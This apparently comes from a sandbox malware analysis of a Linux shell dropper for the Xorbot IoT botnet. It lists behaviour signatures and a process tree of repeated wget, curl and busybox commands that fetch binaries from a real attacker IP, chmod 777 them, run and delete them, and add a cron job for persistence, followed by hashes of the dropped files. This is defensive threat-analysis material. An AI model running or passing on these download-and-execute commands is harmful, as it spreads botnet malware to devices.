Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/01/2025, 22:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250107-2fx23s1raz
  • SHA256 00691cae9d85abb860400b0a3d90507a2dbaa240de2bd273ebce63620c15000a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1314) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          ./ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            ./3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm 3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:763
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • File and Directory Permissions Modification
              PID:790
            • /tmp/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              ./ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Executes dropped EXE
              PID:791
            • /bin/rm
              rm ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
                PID:794
              • /usr/bin/wget
                wget http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Writes file to tmp directory
                PID:795
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/chmod
                chmod 777 s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • File and Directory Permissions Modification
                PID:799
              • /tmp/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                ./s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Executes dropped EXE
                PID:800
              • /bin/rm
                rm s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                  PID:802
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  2⤵
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod 777 apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  2⤵
                  • File and Directory Permissions Modification
                  PID:818
                • /tmp/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  ./apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  2⤵
                  • Executes dropped EXE
                  PID:819
                • /bin/rm
                  rm apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                  2⤵
                    PID:822
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    2⤵
                    • Writes file to tmp directory
                    PID:824
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    2⤵
                    • Writes file to tmp directory
                    PID:842
                  • /bin/chmod
                    chmod 777 EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:843
                  • /tmp/EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    ./EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    2⤵
                    • Executes dropped EXE
                    PID:844
                  • /bin/rm
                    rm EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                    2⤵
                      PID:846
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:851
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/chmod
                      chmod 777 C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:853
                    • /tmp/C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      ./C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      2⤵
                      • Executes dropped EXE
                      PID:854
                    • /bin/rm
                      rm C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                      2⤵
                        PID:856
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        2⤵
                        • Writes file to tmp directory
                        PID:857
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        2⤵
                        • Writes file to tmp directory
                        PID:859
                      • /bin/chmod
                        chmod 777 f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        2⤵
                        • File and Directory Permissions Modification
                        PID:860
                      • /tmp/f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        ./f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        2⤵
                        • Executes dropped EXE
                        PID:861
                      • /bin/rm
                        rm f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                        2⤵
                          PID:863
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          2⤵
                          • Writes file to tmp directory
                          PID:864
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          2⤵
                          • Writes file to tmp directory
                          PID:865
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          2⤵
                          • Writes file to tmp directory
                          PID:866
                        • /bin/chmod
                          chmod 777 1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          2⤵
                          • File and Directory Permissions Modification
                          PID:867
                        • /tmp/1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          ./1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          2⤵
                          • Executes dropped EXE
                          PID:868
                        • /bin/rm
                          rm 1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                          2⤵
                            PID:870
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            2⤵
                            • Writes file to tmp directory
                            PID:871
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:872
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            2⤵
                            • Writes file to tmp directory
                            PID:873
                          • /bin/chmod
                            chmod 777 oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            2⤵
                            • File and Directory Permissions Modification
                            PID:874
                          • /tmp/oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            ./oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            2⤵
                            • Executes dropped EXE
                            PID:875
                          • /bin/rm
                            rm oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                            2⤵
                              PID:877
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                              2⤵
                              • Writes file to tmp directory
                              PID:878
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:879
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                              2⤵
                              • Writes file to tmp directory
                              PID:880
                            • /bin/chmod
                              chmod 777 MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                              2⤵
                              • File and Directory Permissions Modification
                              PID:881
                            • /tmp/MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                              ./MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:882
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:884
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:885
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:886
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        PID:887
                                  • /bin/rm
                                    rm MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                                    2⤵
                                      PID:889
                                    • /usr/bin/wget
                                      wget http://66.63.187.225/bins/EeK0WmDIDQF2KqCula6lg36TAfaYIfWQ02
                                      2⤵
                                        PID:892

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH

                                          • Path /tmp/1Oz1VicFqxJmwt6Z2myoetEZj1ul4OzcfH
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM

                                          • Path /tmp/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          C24zR8zgpwaxubVGFl242DuJsGUn89FqqF

                                          • Path /tmp/C24zR8zgpwaxubVGFl242DuJsGUn89FqqF
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP

                                          ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq

                                          • Path /tmp/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF

                                          • Path /tmp/EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                                          • Size 107KB
                                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                          • MD5 SHA1 SHA512 SSDEEP

                                          ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX

                                          • Path /tmp/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI

                                          • Path /tmp/MQNWQbsAVgmoOtNpHq572orDgk5aKIuKFI
                                          • Size 151KB
                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                          • MD5 SHA1 SHA512 SSDEEP

                                          apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr

                                          • Path /tmp/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu

                                          • Path /tmp/f0vX64xRcvdDlTaTleXKkop5SOufgsjgKu
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs

                                          • Path /tmp/oLqtt4np1yfoIRwW93X4NfKFYuFLBWGZEs
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT

                                          • Path /tmp/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.POJdNE

                                          • Path /var/spool/cron/crontabs/tmp.POJdNE
                                          • Size 210B
                                          • SHA256 c77a4472cfb101f7705636d9b4bc7bc047c46bc5ee6eb2784a531efe75ce2464
                                          • MD5 SHA1 SHA512